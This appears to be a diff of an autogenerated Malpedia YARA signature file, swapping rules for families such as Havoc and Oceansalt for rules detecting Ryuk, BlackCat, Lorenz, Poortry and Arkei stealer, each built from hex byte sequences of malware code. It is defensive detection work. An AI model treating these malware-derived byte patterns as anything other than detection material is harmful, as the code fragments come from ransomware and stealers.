-		$sequence_8 = { 7417 488b442450 488b4c2448 4803c8 488bc1 }
-		$sequence_9 = { 48837c242800 7509 488d05d8250000 eb22 488d542420 488b4c2428 ff15???????? }
+		$sequence_0 = { 83c40c 8d4c2404 6a00 51 ffd6 6a00 }
+		$sequence_1 = { 8bc8 83e01f c1f905 8b0c8d607e4000 8a44c104 83e040 }
+		$sequence_2 = { 8b0c8d607e4000 8a44c104 83e040 c3 a1???????? }
+		$sequence_3 = { bf???????? f3ab 8d3452 895dfc c1e604 aa 8d9ec8674000 }
+		$sequence_4 = { 80e920 ebe0 80a0206c400000 40 3bc6 72be 5e }
+		$sequence_5 = { 8db6bc674000 bf???????? a5 a5 59 a3???????? }
+		$sequence_6 = { 8a8094504000 83e00f eb02 33c0 0fbe84c6b4504000 }
+		$sequence_7 = { c1f804 83f807 8945d0 0f879a060000 ff2485271a4000 834df0ff }
+		$sequence_8 = { 5e 8d0c8dc8614000 3bc1 7304 3910 7402 }
+		$sequence_9 = { ff15???????? 8bf0 68???????? 8d442408 68???????? 50 }
 
 	condition:
-		7 of them and filesize <107520
+		7 of them and filesize <65272
 }
-rule MALPEDIA_Win_Virdetdoor_Auto : FILE
+rule MALPEDIA_Win_Lorenz_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "888dbb4a-ac95-59fd-b6c6-805a13eab949"
+		id = "10a95bcc-414b-5fdc-ba6f-70234a4a7232"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.virdetdoor_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lorenz_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "f95b30ef178ddd53d43c681785d15b079df5f7a769adfe7338b74de03b97c177"
-		score = 75
-		quality = 75
+		logic_hash = "b3150a02c51834520c50a8abe1ab216fe79abbf33e7abc68b4a01a1cc4acdf52"
+		score = 60
+		quality = 45
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -140623,32 +147470,32 @@ rule MALPEDIA_Win_Virdetdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b93b0020000 2bc2 50 8b83ac020000 03c2 50 }
-		$sequence_1 = { 83ee01 753e 85ff 7524 390b 7720 3903 }
-		$sequence_2 = { 8d4dc0 e8???????? 85c0 0f84c8000000 }
-		$sequence_3 = { 83fe08 0f43c8 83c602 0fb7444dc0 0bd0 0fb7449dd2 0bd0 }
-		$sequence_4 = { 59 8d44240c 8bce 50 ff7314 57 e8???????? }
-		$sequence_5 = { 0fbfd0 8d8df8fdffff ff7508 50 }
-		$sequence_6 = { 55 8bec 51 51 53 8bc1 33db }
-		$sequence_7 = { ff75f0 8d8b50020000 e8???????? 834dfcff }
-		$sequence_8 = { 3c2e 7404 3c3a 750e 8a0437 88441dc0 43 }
-		$sequence_9 = { 8945f8 8b4508 8bf0 8975f0 8d5808 895df4 }
+		$sequence_0 = { 8b4de8 e8???????? 898568ffffff eb15 8b55fc 8b4258 8b4df4 }
+		$sequence_1 = { c6412901 837df800 7423 8b55fc c7420c00000000 8b45f8 8b08 }
+		$sequence_2 = { 8b8800080000 e8???????? 8945f0 8b4dfc 8b8900080000 e8???????? 8945e0 }
+		$sequence_3 = { 8b55fc 8b4214 8b08 83e901 8b55fc 8b4214 8908 }
+		$sequence_4 = { ff55e4 8b55f0 89828c000000 8b45f0 8b888c000000 51 8b4dec }
+		$sequence_5 = { 8b4dfc e8???????? 85c0 7426 68???????? 68???????? 6a00 }
+		$sequence_6 = { 8b4dfc e8???????? 8bc8 e8???????? 0fb6c8 85c9 7460 }
+		$sequence_7 = { 8b4df8 83e904 e8???????? 8bc8 e8???????? 0fb6c8 85c9 }
+		$sequence_8 = { 50 e8???????? 8945d8 837dd800 0f8445010000 8b4dd8 d1e1 }
+		$sequence_9 = { 8b4dec 8b11 895004 8b45ec 8945e8 8b4de8 51 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <2254848
 }
-rule MALPEDIA_Win_Havoc_Auto : FILE
+rule MALPEDIA_Win_Cerbu_Miner_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "effddaaf-e7fe-58ad-88f4-e26f6d7794a2"
+		id = "77652d6a-745f-5552-8901-83bf555706f4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.havoc_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cerbu_miner_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "dea553016c43a89176918937bfc9793358dadd2541e82f3880161a16c9ccfd07"
+		logic_hash = "e4927a587588bc11053fcbade5bb9500364c9a656d383eb318cc8486464f3cce"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140662,32 +147509,32 @@ rule MALPEDIA_Win_Havoc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7856 488b842488000000 488bb42488000000 4531c9 }
-		$sequence_1 = { 48898424ae000000 4c8d442458 ba2a040000 8b842498000000 4889442448 }
-		$sequence_2 = { 4488440101 448a440202 4488440102 448a440203 4488440103 4883c004 4883f820 }
-		$sequence_3 = { 4885c0 7504 31f6 eb08 488b4030 ffc3 }
-		$sequence_4 = { 55 4c89c5 57 56 4889d6 53 }
-		$sequence_5 = { 4883ec28 488b410c 488b4904 488d5008 488b05???????? }
-		$sequence_6 = { 488d4b10 4c8d4c2460 4889442460 8b442478 ba00000002 4c8d842490000000 }
-		$sequence_7 = { f3a5 488bbc2480000000 488b742460 b934010000 f3a5 }
-		$sequence_8 = { baff010f00 c744244001000000 4889442444 31c0 85f6 }
-		$sequence_9 = { 4155 4154 4531e4 55 57 56 53 }
+		$sequence_0 = { 88b42480000000 eb3f 83e902 7433 83e904 7413 83e909 }
+		$sequence_1 = { 7412 48 8d0d0b360500 48 83c428 48 ff25???????? }
+		$sequence_2 = { 8d4601 c643012e 48 63c8 41 8d4602 48 }
+		$sequence_3 = { 85d2 7427 85c9 b800040000 41 b800080000 44 }
+		$sequence_4 = { f6473801 7402 eb18 48 8bcf ff15???????? f6473801 }
+		$sequence_5 = { e9???????? 45 8bfd 44 89ad50010000 e9???????? 44 }
+		$sequence_6 = { 48 89442420 e8???????? 48 8bd7 48 8bcb }
+		$sequence_7 = { 89b42418010000 8b74242c 83feff 7515 837f0c00 7c0f 48 }
+		$sequence_8 = { 8d057b52f9ff 48 894518 c745b0e6070000 48 c745c000000200 48 }
+		$sequence_9 = { 44 2bc0 44 8903 33c0 48 8b5c2438 }
 
 	condition:
-		7 of them and filesize <164864
+		7 of them and filesize <1040384
 }
-rule MALPEDIA_Win_Mmon_Auto : FILE
+rule MALPEDIA_Win_Funny_Dream_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "684efad9-d1d6-5ce6-b6e0-de65ea38db79"
+		id = "342150e9-e685-51fd-bb6e-825e56ff33ab"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mmon_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.funny_dream_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "fc9a1ffbaa9f24fc3223df86b9f3747f68822a1333ac4081d18094cd5050cf44"
+		logic_hash = "93298c694e8a0e9daec0c22ddb9409f4c4088b474ade93c3bf4d76bcd798f980"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140701,32 +147548,32 @@ rule MALPEDIA_Win_Mmon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d04f5c8474200 8938 68a00f0000 ff30 }
-		$sequence_1 = { 8d45cc 50 c745ccc8e64100 e8???????? 8b7508 }
-		$sequence_2 = { 3c58 770f 0fbec2 0fb68020094200 }
-		$sequence_3 = { 6aff 53 6a00 6a00 8bf1 }
-		$sequence_4 = { 891d???????? ff15???????? 85c0 7577 8b15???????? }
-		$sequence_5 = { 40 0080af4000a4 af 40 }
-		$sequence_6 = { 8b44241c 83c404 50 ff15???????? 6880969800 e8???????? }
-		$sequence_7 = { 03f9 8bda 83feff 7fa7 b867666666 f7ef c1fa02 }
-		$sequence_8 = { eb0a c7854cffffff00000000 b802000000 018554ffffff 018548ffffff 03f8 }
-		$sequence_9 = { 64a300000000 8b7d0c 8b07 68???????? 51 50 }
+		$sequence_0 = { c785e0ddffff01000000 50 6880000000 68ffff0000 ffb3c0000000 }
+		$sequence_1 = { 6a00 ff7728 ffd6 6a00 ff7724 ff15???????? 8b4714 }
+		$sequence_2 = { c745d45368656c 50 53 c745d86c457865 c745dc63757465 66c745e04100 }
+		$sequence_3 = { 85c0 0f8494000000 33c9 8a840d3cffffff }
+		$sequence_4 = { ff15???????? 85c0 0f85e7feffff 8d4704 899da0fdffff }
+		$sequence_5 = { 6a00 6800040000 8d842458030000 50 }
+		$sequence_6 = { 50 57 ff15???????? 85c0 7523 8b4618 8b3d???????? }
+		$sequence_7 = { 50 ff15???????? 8d442408 c744240810000000 50 8d442414 0f57c0 }
+		$sequence_8 = { 85c0 0f84f8000000 68???????? 50 ff15???????? }
+		$sequence_9 = { 83c404 8b4f04 85c9 7504 33c0 eb05 8b4708 }
 
 	condition:
-		7 of them and filesize <356352
+		7 of them and filesize <393216
 }
-rule MALPEDIA_Win_Oceansalt_Auto : FILE
+rule MALPEDIA_Win_Chairsmack_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4759a01e-4dff-5857-b87f-609205da91fe"
+		id = "89ef8364-1d04-5ec8-8eb0-0caa1f808e4e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oceansalt_auto.yar#L1-L173"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chairsmack_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "5f4a1382e32af57ddc08356072f34b4511a1cb8b2d1541817fa2debd46a6df75"
+		logic_hash = "30e742a004c4313020160ca17f15835b780b5f554d2c7d95b7655ea180005855"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140740,40 +147587,34 @@ rule MALPEDIA_Win_Oceansalt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 6a00 6a02 83f81f }
-		$sequence_1 = { 8d95fcfbffff 6800020000 52 e8???????? 83c410 8d85ecfbffff }
-		$sequence_2 = { 8d85f4feffff 50 56 ffd7 6a00 }
-		$sequence_3 = { 6a00 52 c685fcfbffff00 e8???????? }
-		$sequence_4 = { 8b7508 33c0 50 8945f5 668945f9 8845fb 6a07 }
-		$sequence_5 = { 8945fc 56 57 6a00 6a02 c785ccfdffff28010000 e8???????? }
-		$sequence_6 = { 6a0d 58 5d c3 8b04cd2cf04000 }
-		$sequence_7 = { 56 c645f400 ff15???????? 6a00 6a07 8d4df4 }
-		$sequence_8 = { 4885c0 7419 488d1573750000 488bc8 ff15???????? }
-		$sequence_9 = { b903000000 f3a6 0f8463010000 33c9 0fb6840c8c000000 }
-		$sequence_10 = { 33d2 41b82a010000 6689442440 e8???????? ff15???????? 8be8 }
-		$sequence_11 = { 33c0 e9???????? 48895c2408 4c63c1 488d1d1d890000 4d8bc8 }
-		$sequence_12 = { 0f85d0000000 488d0d6b380000 ff15???????? 488bf0 4885c0 0f848c010000 }
-		$sequence_13 = { 488bc8 c744242800000008 c744242003000000 ff15???????? 488bd8 4883f8ff }
-		$sequence_14 = { f3a6 749a 488d8c24b0030000 33d2 41b868010000 e8???????? }
-		$sequence_15 = { 488d3d94700000 eb0e 488b03 4885c0 7402 ffd0 4883c308 }
+		$sequence_0 = { 8d8c2410010000 c68424840300003a e8???????? 83ec1c 8d842428010000 8bcc 8964242c }
+		$sequence_1 = { 8d4de8 56 c745fc01000000 e8???????? 8b7df0 8d4de8 2b7e08 }
+		$sequence_2 = { 8d4c2464 e8???????? e9???????? 68???????? 8d8c24bc000000 e8???????? 8bd0 }
+		$sequence_3 = { 8b4004 eb03 83c004 51 50 ffb4249c000000 51 }
+		$sequence_4 = { 660f57c4 8b7c2414 8d442421 c644242025 8b5714 f6c220 7409 }
+		$sequence_5 = { 7613 b8feffff7f 8d3419 2bc1 3bd8 7605 befeffff7f }
+		$sequence_6 = { 8d8db8fcffff e9???????? 8d8dd0fdffff e9???????? 8d8dbcfcffff e9???????? 8d8dc0fdffff }
+		$sequence_7 = { c68424b8030000b9 8bcc 68???????? e8???????? c68424b8030000b6 e8???????? 83c430 }
+		$sequence_8 = { 8b148dd06d4a00 81c200080000 3955e4 7366 8b45e4 c6400400 8b4de4 }
+		$sequence_9 = { 0fbe02 85c0 0f848e010000 8b4dfc 51 }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <1974272
 }
-rule MALPEDIA_Win_Dorkbot_Ngrbot_Auto : FILE
+rule MALPEDIA_Elf_Blackcat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1046d98a-4609-5bec-b876-b018dbb80d3c"
+		id = "8a7e13ba-9ed1-59ed-8fb9-9aaa610fbd94"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dorkbot_ngrbot_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.blackcat_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "bcb266c989d4cc3b19fa74f0744a29c545b0b246dcbae9914be22d057afdb410"
-		score = 75
-		quality = 75
+		logic_hash = "1ac97428ed273512eef4209d87a29f49ce26e88d11cb15b15e2f2687ea017381"
+		score = 60
+		quality = 45
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -140785,32 +147626,32 @@ rule MALPEDIA_Win_Dorkbot_Ngrbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a5c 56 e8???????? 8b5d0c 6a5c 53 8bf8 }
-		$sequence_1 = { ffd6 33c0 a3???????? a3???????? a3???????? 8b45fc }
-		$sequence_2 = { c1e704 8b8f84693a02 48 3bc8 0f8289000000 68???????? 8d45ec }
-		$sequence_3 = { 3bc6 751a 8b00 898120100000 8b0a 8bb920100000 56 }
-		$sequence_4 = { 8b4508 50 8d8da4fdffff 51 68???????? 8d958cf7ffff 6817060000 }
-		$sequence_5 = { 8b15???????? 8b1d???????? 6a08 52 ffd3 6804010000 8906 }
-		$sequence_6 = { 0145fc ffd3 8bc8 b8d34d6210 f7e1 c1ea06 }
-		$sequence_7 = { 6689462d 83c007 66898638100000 5f 895628 c6462c03 b801000000 }
-		$sequence_8 = { 53 8d55d4 52 ffd6 85c0 7fdb 5f }
-		$sequence_9 = { 0fb6c9 6880000000 83c202 52 8b5508 f7d9 1bc9 }
+		$sequence_0 = { e8???????? 0f0b 90 90 90 90 53 }
+		$sequence_1 = { 69c0???????? c1e811 6bf064 29f2 0fb7d2 }
+		$sequence_2 = { e8???????? 0f0b 90 53 }
+		$sequence_3 = { 89c1 3d???????? 7319 c1e906 }
+		$sequence_4 = { 660f7f8424f0010000 660f7f8424e0010000 660f7f8424d0010000 660f7f8424c0010000 660f7f8424b0010000 }
+		$sequence_5 = { d1e9 01d1 c1e902 8d14cd00000000 }
+		$sequence_6 = { b801000000 81f9???????? 0f823fffffff b802000000 }
+		$sequence_7 = { 69c0???????? c1e810 29c2 0fb7d2 d1ea }
+		$sequence_8 = { 762a 0fb6c8 8d1489 8d0cd1 }
+		$sequence_9 = { e8???????? 0f0b e8???????? 0f0b 90 90 90 }
 
 	condition:
-		7 of them and filesize <638976
+		7 of them and filesize <8011776
 }
-rule MALPEDIA_Win_Sodamaster_Auto : FILE
+rule MALPEDIA_Win_Poortry_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5c8830e9-776d-5d52-b260-bf93f938f131"
+		id = "2cf345f6-6c65-548f-9e1e-6a67040df1b7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sodamaster_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poortry_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "a33360882a3ef608d87207bac124912433c6a8960ab3afceadfd4533af00bd98"
+		logic_hash = "3ea6c4ba39d0058f0069c86346c9de0810387b212bcc1f7c57e5a516c20ae9ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140824,71 +147665,108 @@ rule MALPEDIA_Win_Sodamaster_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? c70009000000 e8???????? ebd2 8bc3 c1f805 8d3c85a0330110 }
-		$sequence_1 = { 8908 894804 8bf0 eb02 33f6 6a40 6800100000 }
-		$sequence_2 = { 8d4900 8d97feefff7f 85d2 7419 8a140e 84d2 7412 }
-		$sequence_3 = { 8945e4 3d01010000 7d0d 8a4c181c 888810080110 40 }
-		$sequence_4 = { 33f6 6a40 6800100000 8d4301 50 6a00 ff15???????? }
-		$sequence_5 = { 83c424 83ffff 5f 5e 5b }
-		$sequence_6 = { 83c8ff e9???????? 8bc6 c1f805 8bfe 53 8d1c85a0330110 }
-		$sequence_7 = { 33f6 8d45f8 50 8b4508 c745e8636d643d c645ec00 }
-		$sequence_8 = { e8???????? 56 e8???????? 83c418 ff15???????? }
-		$sequence_9 = { 6a02 53 68ff010f00 52 }
+		$sequence_0 = { 41f7d2 f9 4181f80255e860 4181f225619d1f 41f7da f8 4181c2174c0279 }
+		$sequence_1 = { 66f7c4e120 310424 5e 41f6c105 443af4 4863c0 f5 }
+		$sequence_2 = { 66443bf0 56 0fbae697 c1e61f 311424 f9 660fbafec8 }
+		$sequence_3 = { 41f7d3 4151 450aca 6641d3e1 44311c24 4180d1a2 }
+		$sequence_4 = { f8 81f79e0d521c f8 d1cf 81c71d19891d f8 f5 }
+		$sequence_5 = { 4151 41c0e937 4d0fb7c9 313424 450fc0c9 66450fabf1 66410fbae1d7 }
+		$sequence_6 = { 4484c7 81c33f50eb3f 664181f8ec0e f7db 4153 311c24 6641c1c318 }
+		$sequence_7 = { 56 401af3 40d2e6 66f7c4e120 310424 5e 41f6c105 }
+		$sequence_8 = { 4123ea 48c1d5cd 5d f9 4d63c9 4881f98925786f 664185d3 }
+		$sequence_9 = { f6dd 4159 4084ee 40b5c4 9d 66400fbecd 59 }
 
 	condition:
-		7 of them and filesize <134144
+		7 of them and filesize <8078336
 }
-rule MALPEDIA_Win_Unidentified_082_Auto : FILE
+rule MALPEDIA_Win_Ryuk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7772581c-e8cf-5615-a758-46ef9c1fc0b0"
-		date = "2021-10-07"
-		modified = "2021-10-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_082"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_082_auto.yar#L1-L124"
+		id = "9762637f-3260-5c34-b846-45fb6634f5b4"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ryuk_auto.yar#L1-L425"
 		license_url = "N/A"
-		logic_hash = "fdfe1ddce9f77ac8b465b0ddebe868c5e77078cf2b2457573a5b3810682f45ee"
+		logic_hash = "b1841a1134c1a11658d85f36006ba9e8e5ed64f6492350418145712079afb53f"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20211007"
-		malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535"
-		malpedia_version = "20211008"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c8d0dbc190200 0f1f4000 0f1f840000000000 418d4801 }
-		$sequence_1 = { ff5018 4c634510 488d0df40a0200 488bd8 33c0 }
-		$sequence_2 = { 4c634510 488d0d93fa0100 488bd8 33c0 488bd3 488905???????? 488905???????? }
-		$sequence_3 = { ff15???????? 488b0cdf ff15???????? 48c704dfffffffff }
-		$sequence_4 = { 4885c0 0f84ac010000 48833d????????00 0f849e010000 48833d????????00 0f8490010000 48833d????????00 }
-		$sequence_5 = { 488b0d???????? 8b5108 488b4910 4533c9 458d4130 4c89742420 }
-		$sequence_6 = { 33c0 e9???????? 8a07 4c8b7c2448 4c8d25a64c0100 4b8b0cfc ffc3 }
-		$sequence_7 = { 0f1f4000 0f1f840000000000 418d4801 0fb6c2 41ffc0 f7da }
-		$sequence_8 = { 488b4f18 4c8d4d10 488b01 488d1587000200 41b810000000 ff5018 4c634510 }
-		$sequence_9 = { 48894598 eb03 4533f6 488b05???????? 80782e00 740a 80782000 }
+		$sequence_0 = { 68???????? 6a01 6a00 6814010000 }
+		$sequence_1 = { ff15???????? 85c0 7508 6a01 ff15???????? 68???????? 6a01 }
+		$sequence_2 = { 6a08 6a18 68???????? 68???????? 68???????? ff15???????? }
+		$sequence_3 = { 754c b90b010000 66398818000035 753e 8b4508 b9???????? 2bc1 }
+		$sequence_4 = { 68???????? ff15???????? 85c0 7578 6a10 6a18 }
+		$sequence_5 = { 755d a1???????? 81b8????????50450000 754c b90b010000 66398818000035 }
+		$sequence_6 = { 68???????? ff15???????? 85c0 7542 6a28 6a18 }
+		$sequence_7 = { 68c0cf6a00 ff15???????? 6a01 ff15???????? }
+		$sequence_8 = { 7407 b801000000 eb0b eb04 }
+		$sequence_9 = { e8???????? 68e8030000 ff15???????? 68???????? e8???????? }
+		$sequence_10 = { 720f b901000000 6bd103 8b45fc c6041000 }
+		$sequence_11 = { 83c101 ba01000000 d1e2 8b45fc }
+		$sequence_12 = { 8908 895004 837df800 7709 }
+		$sequence_13 = { 89459c 8955a0 8b55a0 3b55f8 0f870b020000 }
+		$sequence_14 = { ba01000000 6bc203 8b55fc 880c02 b804000000 }
+		$sequence_15 = { ff15???????? b811000000 e9???????? e9???????? }
+		$sequence_16 = { ff15???????? 833d????????00 6a10 6a18 }
+		$sequence_17 = { 6a00 6814010000 ff7508 ff35???????? }
+		$sequence_18 = { 7407 48 85c0 7ff0 }
+		$sequence_19 = { ff15???????? b803000000 eb05 b805000000 }
+		$sequence_20 = { 2bf0 33c0 66890473 83ffff }
+		$sequence_21 = { 751b ff35???????? ff35???????? 6a01 68???????? e8???????? }
+		$sequence_22 = { eb0b 8bc1 99 f7fe }
+		$sequence_23 = { 56 ff15???????? 8bcb 8d5102 }
+		$sequence_24 = { 7714 7212 81f9d0070000 770a 85d2 }
+		$sequence_25 = { e8???????? e8???????? b9e8030000 ff15???????? }
+		$sequence_26 = { 668b02 83c202 6685c0 75f5 8d7bfe 2bd6 }
+		$sequence_27 = { 0f9fc0 5d c3 8bff 55 8bec 8b4508 }
+		$sequence_28 = { 5d c3 8bcb 8d5102 }
+		$sequence_29 = { d1fa 2bca 33c0 6689444bfe e9???????? 33c0 }
+		$sequence_30 = { 488bc3 4883c430 5b c3 48895c2408 48896c2410 4889742418 }
+		$sequence_31 = { 68???????? 53 d1fe e8???????? 83c408 8d5002 }
+		$sequence_32 = { 498bc1 c3 4053 4883ec20 8bc1 498bd8 }
+		$sequence_33 = { 50 51 e8???????? 6a00 6840420f00 52 50 }
+		$sequence_34 = { 83c602 6685c9 75f5 2bf2 68???????? 53 }
+		$sequence_35 = { f3a4 8d7afe 668b4702 8d7f02 6685c0 75f4 a1???????? }
+		$sequence_36 = { 4883c428 c3 48895c2408 57 4883ec30 8364242000 }
+		$sequence_37 = { 33c9 ba10270000 41b800100000 448d4904 ff15???????? }
+		$sequence_38 = { f7e1 8bc1 2bc2 d1e8 03c2 c1e806 6bc05a }
+		$sequence_39 = { ff15???????? 41b900300000 c744242040000000 448bc3 488bd6 488bcf }
+		$sequence_40 = { c744242802000000 4533c9 4533c0 c744242002000000 ba000000c0 }
+		$sequence_41 = { ff15???????? 488bd8 ff15???????? 83f820 7510 488bcb ff15???????? }
+		$sequence_42 = { 4533c9 4533c0 c744242003000000 ba00000040 ff15???????? 488bd8 ff15???????? }
+		$sequence_43 = { 66837f0254 750f 66837f0641 7508 }
+		$sequence_44 = { 4889442420 4c8bc6 488bd3 488bcf ff15???????? }
+		$sequence_45 = { ff15???????? 66833f4e 7516 66837f0254 750f }
+		$sequence_46 = { 84c0 746c e8???????? 488d0d63080000 e8???????? e8???????? }
 
 	condition:
-		7 of them and filesize <414720
+		7 of them and filesize <7450624
 }
-rule MALPEDIA_Win_Netsupportmanager_Rat_Auto : FILE
+rule MALPEDIA_Win_Arkei_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cef2dd3b-0f7d-59a7-a048-7ced175e981a"
+		id = "d30a73fa-e439-581b-821f-0f94e7403477"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netsupportmanager_rat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.arkei_stealer_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "79986ba5845ddb197c2cbb664d974c015a806cc2574092a014c092c0439de61a"
+		logic_hash = "9f5b37522725bf35fb4c723079a0799c573d27f50c2c2a0cc7a8a66eafb6f502"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140902,34 +147780,34 @@ rule MALPEDIA_Win_Netsupportmanager_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8b7df0 3bfb c745fcffffffff 7410 8bcf e8???????? }
-		$sequence_1 = { f3a4 8d4dfc 51 e8???????? 83c404 663dffff 668945dc }
-		$sequence_2 = { e8???????? 8bcb e8???????? 8b4510 8b08 894b34 8b5004 }
-		$sequence_3 = { ff15???????? 85ff 7417 8b1b 81e7ffff0000 6a00 57 }
-		$sequence_4 = { c644020400 e8???????? 8b8558ffffff 83c404 85c0 7514 8b9550ffffff }
-		$sequence_5 = { e8???????? 8b9750030000 52 e8???????? 8b450c 8b7510 83c408 }
-		$sequence_6 = { ff15???????? 85c0 750e 8b45e8 8b4de4 50 51 }
-		$sequence_7 = { e8???????? eb02 33c0 c645fc01 8bf0 3bf3 7547 }
-		$sequence_8 = { e9???????? 686c010000 e8???????? 8bf0 83c404 897508 85f6 }
-		$sequence_9 = { 8d4df0 c745fc00000000 e8???????? 8b4704 85c0 7609 83f8ff }
+		$sequence_0 = { 8d55c4 52 6a18 50 ff15???????? 85c0 }
